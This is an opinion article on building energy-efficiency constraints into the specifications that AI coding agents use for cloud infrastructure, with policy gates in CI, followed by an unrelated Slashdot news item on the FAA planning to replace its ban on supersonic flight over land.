If the specification contains no sustainability constraints, the agent will make infrastructure decisions based on defaults, conventions and training data patterns, none of which are optimised for energy efficiency. An agent prompted to scaffold a GKE-based microservice will, by default, select machine types that ensure availability headroom rather than efficiency. It will size pod resource requests conservatively to avoid out-of-memory conditions from potentially inefficient application code, but not to minimise node utilization. It will pull familiar base images rather than minimal ones. These are not failures of the agent. They are the predictable output of an instruction set that never asked for sustainability.

The fix is to make sustainability a first-class constraint in the specification itself. A constraint such as GS-INFRA-001 (select the smallest GKE machine type that satisfies the workload’s measured resource ceiling, defaulting to e2-medium or smaller) or GS-K8S-001 (set pod CPU requests to measured p95 consumption with a 20% ceiling, not to arbitrary safe values) is a structured policy the agent reads before it generates a single line of Terraform or YAML. The agent does not override it. It executes it. That is the mechanism that makes sustainability structural and automated rather than aspirational.

The infrastructure patterns that matter most

Three infrastructure domains represent the highest-impact targets for sustainability constraints, precisely because autonomous AI engineer agents generate them prolifically and the consequences compound continuously at runtime rather than only when code executes.

The first is IaC and cloud resource provisioning. An agent generating a Terraform configuration for a GKE cluster defaults to instance families and node counts calibrated for resilience, not efficiency. A three-node cluster of n2-standard-16 machines (64 vCPUs, 192GB RAM) provisioned for a service that runs comfortably on a single e2-medium (2 vCPUs, 4GB RAM) represents a 32x over-provisioning of compute. That gap does not show up in staging. It runs in production, is billed continuously, emitting continuously. A sustainability constraint in the Terraform specification that enforces machine type selection against a measured workload profile eliminates this class of error before the agent writes its first resource block.

The second is the Kubernetes pod resource configuration. Pod resource requests are the input the Kubernetes scheduler uses to place workloads on nodes. When an autonomous AI engineer agent generates a pod spec with generous CPU and memory requests, the scheduler reserves that capacity whether the pod uses it or not. Nodes that could host eight efficiently-sized pods instead host two or three over-specified ones, leaving the remaining capacity stranded and the underlying VM running at low utilization. A pod spec with a 4-CPU, 8GB memory request for a service that observably consumes 200 millicores and 256MB at peak is not cautious engineering. It is a scheduler instruction to waste three and a half CPUs and 7.75GB of memory per pod, per node, per hour, across every replica in every environment. A sustainability constraint specifying that pod resource requests must be derived from measured p95 consumption data, not from defaults or intuition, changes this systematically.

The third is the container base image selection. When an agent generates a Dockerfile, it gravitates toward familiar, full-featured base images: Ubuntu, Debian, Python, Node.js. These images are large, carry a significant attack surface and consume more storage, memory and transfer bandwidth than their minimal equivalents. A distroless or Alpine-based image for the same workload can be an order of magnitude smaller. At the scale at which an autonomous AI engineer agent operates, pulling, storing and running bloated base images across hundreds of services is a significant and entirely avoidable infrastructure cost. A constraint specifying distroless or minimal base images as the default, with justification required for exceptions, eliminates the pattern without slowing generation.

4 pipeline stages where constraints are enforced

Embedding constraints in the specification is the intervention. Enforcing them through the pipeline is what makes the intervention reliable. Four stages create the enforcement architecture.

The first stage is generation itself. When sustainability constraints are part of the specification the autonomous AI engineer agent operates from, those constraints shape every artifact the agent produces: Terraform resource blocks, Kubernetes manifests, Helm chart defaults, Dockerfile base image selections. The agent does not reason about sustainability independently. It executes the specification. A well-constrained specification produces sustainable infrastructure by construction, not by review.

The second stage is static analysis. Tools including Checkov, tfsec, KICS and Trivy analyze Terraform, Kubernetes YAML and Dockerfiles against configurable policy rules without modifying the agent or the pipeline architecture. A Checkov policy enforcing the GKE machine type constraint, or a tfsec rule flagging over-provisioned node pools, runs against every artifact the agent generates before it reaches a deployment gate. The violation surfaces as structured CI output the gate acts on. The agent’s output is checked the same way a human engineer’s output would be, consistently, at every commit.

The third stage is the quality gate. Sustainability violations fail the build. They do not generate warnings that an agent pipeline has no mechanism to act on. A gate that blocks deployment on policy violations is the enforcement layer that makes constraints binding rather than advisory. Because the gate operates on artifact output rather than on the agent itself, it is fully autonomous AI engineer agent-agnostic: It does not matter whether the Terraform was generated by Copilot, a custom LLM pipeline, an internal scaffolding agent or a human engineer. The gate evaluates the artifact against the policy. That is the only thing that matters.

The fourth stage is runtime telemetry feeding back into constraint refinement. Actual resource utilization, node efficiency metrics and carbon intensity data from production inform constraint updates at the specification level. A constraint calibrated on design-time estimates tightens over time as empirical data replaces assumptions. The governance model improves continuously rather than stagnating at its initial calibration.

3 steps to start this week

Most engineering organizations already have everything they need to begin. The static analysis toolchain is there: Checkov, tfsec, KICS, Trivy and OPA Conftest all support configurable sustainability policies against Terraform, Kubernetes YAML and Dockerfile artifacts without pipeline replacement. The CI/CD pipeline is there: GitHub Actions, GitLab CI, Jenkins, Tekton and Azure DevOps Pipelines all support blocking quality gates against policy tool outputs. The specification layer is there: Terraform modules, Helm chart value schemas, Kubernetes admission controllers and architectural decision records are already version-controlled in most mature engineering organizations. And critically, this approach is a fully autonomous AI engineer agent-agnostic. The governance layer does not inspect which agent or model generated the infrastructure artifact. It enforces the policy against the output. Whether the Terraform came from a custom agentic pipeline, a Copilot suggestion or a human engineer, the gate applies identically. The only things genuinely missing are the sustainability constraint definitions authored into the specification and the policy rules wired into the CI/CD pipeline to enforce them. Three steps close that gap.

Audit your IaC specifications for sustainability constraints. Open an active Terraform module or Helm chart and locate the machine type defaults, pod resource request defaults and base image defaults. For most organizations, these are set to safe, familiar values with no sustainability rationale. Define three constraints: A maximum machine type ceiling for each workload tier, a pod resource request ceiling derived from measured utilization, and a base image policy requiring distro-less or Alpine equivalents. Version control these constraints alongside the specifications they govern.
Add one Checkov or tfsec policy to your CI pipeline. A policy flagging GKE node pools configured above the e2-standard-4 threshold without a documented justification is implementable in under an hour using Checkov’s custom check API. Wire it as a blocking gate, not a warning. This single addition creates immediate, agent-agnostic enforcement across every Terraform commit in your repository.
Embed sustainability constraints before you scale your agentic pipelines. The highest-leverage moment is now, before autonomous AI engineer agents are generating infrastructure at full organizational scale. Every agentic pipeline that goes into production without sustainability constraints in its specification becomes a systematic source of over-provisioned, carbon-intensive infrastructure that compounds daily. Retrofitting governance after hundreds of agent-generated services are running is an order of magnitude harder than constraining generation at the specification source.

What lies ahead

The sustainability challenge discussed here is not the energy consumed by the AI engineer agent itself, but the long-lived infrastructure decisions encoded into the artifacts it generates. Sustainable infrastructure engineering is no longer an operational discipline. It is an architectural necessity, and the specification layer is where that necessity must be addressed. When autonomous AI engineer agents are generating Terraform, Kubernetes manifests and Docker configurations at scale, the organizations that embed sustainability constraints into the specifications those agents execute will build efficient, cost-controlled, regulation-ready infrastructure by construction. Those that do not will build a remediation programme instead, which at scale will become impractical.

The urgency is not speculative. IEEE Spectrum reports that Microsoft’s emissions have risen 23% since its 2020 baseline and Google’s have climbed 51% since 2019, with AI infrastructure as the primary driver. Global data centres are on track to consume more electricity than Japan by 2030. A significant fraction of that load is over-provisioned infrastructure that an autonomous AI engineer agent generated from a specification that never asked for efficiency. The constraint cost is low. The compounding cost of the alternative is not.

The governance imperative is converging from three directions simultaneously. Cloud cost: Over-provisioned AI-generated infrastructure compounds spend at a rate that makes early specification-layer control orders of magnitude cheaper than post-deployment rightsizing programmes. Technical debt: Every agentic sprint that ships infrastructure without sustainability constraints adds configuration debt that grows faster than any platform team can retrospectively correct. Regulatory pressure: Sustainability reporting requirements, already mandatory in the EU and accelerating in other jurisdictions, will reach infrastructure efficiency metrics. Engineering organizations that have operationalised sustainability governance at the specification layer will meet those requirements as a natural output of their existing pipeline. Those who have not will discover that compliance is a crisis programme when the deadline arrives. These are not abstract architectural concerns. The organizations that govern agentic generation upstream, at the specification, will compound efficiency gains with every agent run, not just sustainability but cost, too. Those who govern only in production will spend a lot of time remediating what they should have prevented before the first line of Terraform was written.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

DOT Announces 'Return of Supersonic Flight' For Commercial Airlines

Wed, 01 Jul 2026 11:06:17 +0200

The FAA plans to replace its 1973 ban on civilian supersonic flight over U.S. land with a noise-based standard, potentially allowing aircraft to exceed Mach 1 as long as they stay below certain sound limits. The agency aims to finalize the rules by mid-2027, opening the door for companies such as Boom Supersonic and Spike Aerospace to operate quieter next-generation passenger jets over land. Longtime Slashdot reader schwit1 shared the notice (PDF) published Tuesday by the FAA. Forbes reports: Technological advances "will eliminate the old sonic boom," FAA Administrator Bryan Bedford said in a statement. "This means we can ultimately repeal the ban from the 1970s on supersonic flight over U.S. territory while minimizing noise impacts to residents in communities along the route and near airports." The primary reason was public opposition to loud sonic booms. In the 1960s, a plane flying faster than the speed of sound -- about 660 mph at high altitudes -- created shock waves that traveled to the ground and reached human ears as a loud gunshot-like crack or thunder-like boom. Tests during that decade, including the Oklahoma City sonic boom experiments, found repeated booms broke windows, damaged property and generated thousands of public complaints. In its 1973 ruling, the FAA stated that due to the limits of technology at that time, "a prohibition was needed to protect the public from sonic boom .... by preventing operations of a civil aircraft at a true flight Mach number greater than 1." Several years later, Air France and British Airways introduced Concorde, and were allowed to serve New York's John F. Kennedy International Airport as long as flights remained subsonic over U.S. land. Notably, "the prestigious London-New York service was the only truly profitable [Concorde] route, supported by high-powered business and celebrity travel," wrote a former British Airways network planner for Forbes in 2021. Several U.S. companies are working on a new generation of luxurious supersonic passenger aircraft with much quieter sonic booms and improved fuel efficiency. In particular, Colorado-headquartered Boom Supersonic says it has pre-orders from United Airlines, American Airlines and Japan Airlines for its Overture jets, which will carry 60-80 passengers. Atlanta-based Spike Aerospace is developing smaller Diplomat jets for up to 18 passengers. Both companies' websites tout future transatlantic flights in under four hours.

Read more of this story at Slashdot.